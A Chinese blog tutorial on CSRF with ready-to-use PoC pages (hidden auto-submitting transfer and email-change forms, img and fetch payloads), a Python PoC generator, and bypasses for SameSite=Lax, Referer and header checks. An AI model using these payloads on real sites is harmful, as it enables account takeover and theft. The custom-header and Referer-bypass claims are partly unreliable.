CSRF详解

每天一篇博客之CSRF

day:8

第1章 什么是 CSRF

1.1 一句话理解

CSRF(Cross-Site Request Forgery,跨站请求伪造)就是:攻击者让受害者在不知情的情况下,以受害者的身份向某个网站发送请求

类比:有人趁你登录了银行没退出,拿你的电脑转了钱——只不过 CSRF 是在网上做的。

1.2 生活中的类比

你登录了淘宝 → 浏览器有了淘宝的 Cookie(证明你是谁) ↓ 你打开了攻击者的网页(比如一个广告页面) ↓ 这个页面偷偷向淘宝发了一个请求:「删除我的账号」 ↓ 淘宝收到请求 → 检查 Cookie → 确实是你的 → 执行删除 ↓ 你的账号被删了,但你完全不知道是谁干的

1.3 三个关键条件

CSRF 能成功需要同时满足三个条件:

条件说明
① 受害者已登录目标网站浏览器持有有效的 Cookie/Session
② 目标网站没有 CSRF 防护没有 Token 校验或 Origin 检查
③ 攻击者能构造合法的请求POST/GET 参数可以被预测

第2章 CSRF 攻击全过程

2.1 正常流程 vs CSRF 流程

正常流程:

用户 → 登录银行 → 获得 Cookie → 点击转账 → 银行验证 Cookie → 转账成功

CSRF 流程:

用户 → 登录银行 → 获得 Cookie → 打开恶意页面 → 恶意页面提交转账请求 ↓ 银行收到 Cookie → 以为是用户操作 → 转账成功

2.2 攻击步骤拆解

Step 1:受害者登录目标网站

POST /login HTTP/1.1 Host: victim-bank.com username=alice&password=123456

银行返回 Set-Cookie,浏览器保存了 session。

Step 2:受害者访问攻击者页面

攻击者制作了一个恶意 HTML 页面,通过广告、邮件、论坛帖子等方式诱导受害者点击。

Step 3:恶意页面自动发送请求

<!-- 攻击者页面中的隐藏表单 --><formaction="https://victim-bank.com/transfer"method="POST"id="steal"><inputtype="hidden"name="to"value="attacker"><inputtype="hidden"name="amount"value="10000"></form><script>document.getElementById('steal').submit();</script>

Step 4:银行收到请求并执行

银行收到 POST 请求时,浏览器自动附带了受害者的 Cookie(因为 Cookie 是发给victim-bank.com的)。银行验证 Session 通过,执行转账。


第3章 CSRF 的攻击场景

3.1 GET 型 CSRF(最常见,最容易)

目标站点用 GET 参数执行操作:

<!-- 攻击者页面中的图片标签 --><imgsrc="https://victim-bank.com/transfer?to=attacker&amount=10000"style="display:none">

浏览器加载图片时自动发送 GET 请求,Cookie 自动附带。

很多早期应用用 GET 做操作,比如admin.php?action=delete&id=1,这种场景最脆弱。

3.2 POST 型 CSRF

用表单提交 POST 请求:

<!DOCTYPEhtml><html><body><!-- 隐藏表单,用户不可见 --><formaction="https://victim-bank.com/transfer"method="POST"><inputtype="hidden"name="to_account"value="attacker"><inputtype="hidden"name="amount"value="5000"></form><script>// 页面加载后自动提交document.forms[0].submit();</script></body></html>

3.3 JSON 型 CSRF

现代 API 常用 JSON 格式,但如果没有正确校验,同样可以 CSRF:

<!-- 用 form 的 enctype 提交 JSON --><formaction="https://api.example.com/change_email"method="POST"enctype="text/plain"><inputname='{"email":"attacker@evil.com", "_csrf":"'value='"}'><!-- 闭合 --></form><script>document.forms[0].submit();</script>

更常用的是通过 XMLHttpRequest / fetch(取决于 CORS 配置):

<script>fetch('https://api.example.com/transfer',{method:'POST',credentials:'include',// 包含 Cookiebody:JSON.stringify({to:'attacker',amount:10000})});</script>

但注意:跨域 fetch 请求会受到同源策略限制,不能读取响应。但请求仍然会发送到服务器并执行

3.4 真实场景举例

场景操作CSRF 后果
修改密码POST /change_pass攻击者改掉用户密码
转出资金POST /transfer资金被盗
发表文章POST /post_article用受害者账号发垃圾内容
删除资源GET /delete?id=1数据丢失
修改邮箱POST /change_email绑定攻击者邮箱→重置密码
添加管理员POST /add_admin?uid=2权限提升

第4章 CSRF 与 XSS 的区别

很多人搞混 CSRF 和 XSS,两者完全不同:

对比维度CSRFXSS
本质伪造请求注入代码
攻击者需要什么让受害者触发请求在页面中执行 JS
是否需要目标站漏洞不需要(只要没防护)需要(输入输出过滤不严)
是否需要交互受害者点击链接/页面受害者访问被注入的页面
能不能读数据❌ 不能(只发送,不读取)✅ 可以读取 Cookie/页面内容
利用 Cookie利用浏览器自动带 Cookie 的机制读取 Cookie 或冒充身份
能不能绕过 Token❌ 不能(有 Token 就失效)✅ 可以读取页面中的 Token 再发请求
危害范围单一操作任意操作(可发任意请求)

一句话区分:

CSRF = 借你的手(替你做操作) XSS = 借你的眼(替你看数据)

第5章 实战:构造 CSRF PoC

5.1 GET CSRF PoC

最简形式 —— 一个 img 标签就够了:

<html><body><h1>恭喜你中奖了!</h1><imgsrc="http://target.com/user/del?id=1"style="display:none"/><imgsrc="http://target.com/transfer?to=attacker&amount=10000"style="display:none"/></body></html>

把这段代码保存为csrf.html,当登录 target.com 的用户访问这个页面时,操作会静默执行。

5.2 POST CSRF PoC

<html><body><h1>免费领取皮肤</h1><formid="csrf"action="http://target.com/change_email"method="POST"><inputtype="hidden"name="email"value="attacker@evil.com"></form><script>document.getElementById('csrf').submit();</script></body></html>

5.3 自动提交表单 + 跳转

更隐蔽的方式——提交表单后跳转到正常页面,受害者完全无感:

<html><body><script>// 创建一个不可见的 iframe,在里面提交表单varform=document.createElement('form');form.action='http://target.com/transfer';form.method='POST';form.target='hidden_iframe';// 提交到隐藏 iframevarinput=document.createElement('input');input.type='hidden';input.name='to';input.value='attacker';form.appendChild(input);document.body.appendChild(form);// 创建隐藏 iframevariframe=document.createElement('iframe');iframe.name='hidden_iframe';iframe.style.display='none';document.body.appendChild(iframe);form.submit();// 跳转到正常页面window.location.href='https://baidu.com';</script></body></html>

5.4 自动化 CSRF PoC 生成脚本

#!/usr/bin/env python3"""自动生成 CSRF PoC HTML 页面"""defgen_csrf_poc(url,method="GET",params=None):ifparamsisNone:params={}html='<html>\n<body>\n'html+='<h1>Loading...</h1>\n'ifmethod.upper()=="GET":# GET: 拼接参数到 URL,用 img 触发query='&'.join([f"{k}={v}"fork,vinparams.items()])full_url=f"{url}?{query}"ifparamselseurl html+=f'<img src="{full_url}" style="display:none" />\n'else:# POST: 隐藏表单自动提交html+=f'<form id="f" action="{url}" method="POST">\n'fork,vinparams.items():html+=f' <input type="hidden" name="{k}" value="{v}">\n'html+='</form>\n'html+='<script>document.getElementById("f").submit();</script>\n'html+='</body>\n</html>'returnhtml# 生成 GET CSRF PoCpoc1=gen_csrf_poc("http://target.com/transfer","GET",{"to":"attacker","amount":"9999"})print(poc1)print("\n"+"="*50+"\n")# 生成 POST CSRF PoCpoc2=gen_csrf_poc("http://target.com/change_pwd","POST",{"new_pwd":"hacked123","confirm":"hacked123"})print(poc2)

第6章 SameSite Cookie 机制

6.1 什么是 SameSite

SameSite 是 Cookie 的一个属性,告诉浏览器什么情况下才发送这个 Cookie。它是现代浏览器对 CSRF 最核心的防御机制。

SameSite 值同站请求跨站请求(点击链接)跨站请求(表单/img/fetch)
None✅ 发送✅ 发送✅ 发送
Lax(默认值)✅ 发送✅ 发送❌ 不发送
Strict✅ 发送❌ 不发送❌ 不发送

注意:从 Chrome 80(2020年)开始,未设置 SameSite 的 Cookie 默认被视为Lax

6.2 SameSite 不同值的效果

假设用户登录了 victim.com 用户访问 attacker.com 的页面 │ ┌──────────────┼──────────────┐ ▼ ▼ ▼ SameSite=None SameSite=Lax SameSite=Strict │ │ │ ▼ ▼ ▼ img/victim.com img/victim.com img/victim.com ✅ 带 Cookie ❌ 不带 Cookie ❌ 不带 Cookie form/victim.com form/victim.com form/victim.com ✅ 带 Cookie ❌ 不带 Cookie ❌ 不带 Cookie <a href=victim> <a href=victim> <a href=victim> ✅ 带 Cookie ✅ 带 Cookie ❌ 不带 Cookie

6.3 设置方式

Set-Cookie: session=abc123; SameSite=None; Secure Set-Cookie: session=abc123; SameSite=Lax Set-Cookie: session=abc123; SameSite=Strict

SameSite=None必须配合Secure(仅 HTTPS 发送),否则浏览器会拒绝该 Cookie。

6.4 SameSite=Lax 的后门

Lax模式下,以下跨站请求仍然携带 Cookie

方式是否带 Cookie说明
<a href="...">点击链接(顶级导航)
window.location.href="..."JS 跳转(顶级导航)
<form method="GET">GET 表单提交(顶级导航)
<form method="POST">POST 表单提交
<img src="...">图片加载
<script src="...">脚本加载
fetch()/XMLHttpRequestAJAX 请求

如果目标站点用 GET 参数执行操作(如?action=delete&id=1),SameSite=Lax 并不能防御 CSRF,因为 GET 表单和链接跳转都会带 Cookie。


第7章 CSRF 绕过技术

7.1 绕过 SameSite=Lax

当目标站点使用SameSite=Lax,但操作是 GET 方式时,CSRF 仍然有效:

<!-- 利用顶级导航 + GET 请求 --><ahref="https://victim.com/delete?account=all">点我查看惊喜</a><script>// 或通过 JS 跳转window.location="https://victim.com/transfer?to=attacker&amount=10000";</script>

即使SameSite=Lax,顶级导航的 GET 请求仍然带 Cookie。

7.2 绕过 Token 校验

如果 Token 在 GET 参数中:

<!-- 如果 CSRF Token 在 URL 参数中,直接提交即可 --><imgsrc="https://target.com/change_email?email=hacker@e.com&token=abc123">

但 Token 通常不可预测。要绕过 Token,一般需要配合 XSS 或信息泄露漏洞。

7.3 绕过 Referer 检查

有些站点检查 Referer 头,如果不在白名单中则拒绝:

<!-- 利用 meta 标签不发送 Referer --><metaname="referrer"content="no-referrer"><!-- 利用 HTTPS→HTTP 降级不发送 Referer --><!-- 攻击者页面用 HTTP(非 HTTPS),浏览器不会发送 Referer -->
<html><head><metaname="referrer"content="no-referrer"></head><body><formaction="https://target.com/transfer"method="POST"><inputtype="hidden"name="to"value="attacker"></form><script>document.forms[0].submit();</script></body></html>

7.4 绕过自定义 Header 检查

如果 API 要求X-Requested-With: XMLHttpRequest,某些跨域请求可能不会携带,但可以用 fetch:

<script>// fetch 可以自定义 Headerfetch('https://target.com/api/transfer',{method:'POST',credentials:'include',headers:{'X-Requested-With':'XMLHttpRequest','Content-Type':'application/json'},body:JSON.stringify({to:'attacker',amount:10000})});</script>

注意:跨域 fetch 受 CORS 限制不能读取响应,但请求本身会被服务器处理。如果服务器不检查 CORS Origin(或者返回Access-Control-Allow-Origin: *),请求就能成功。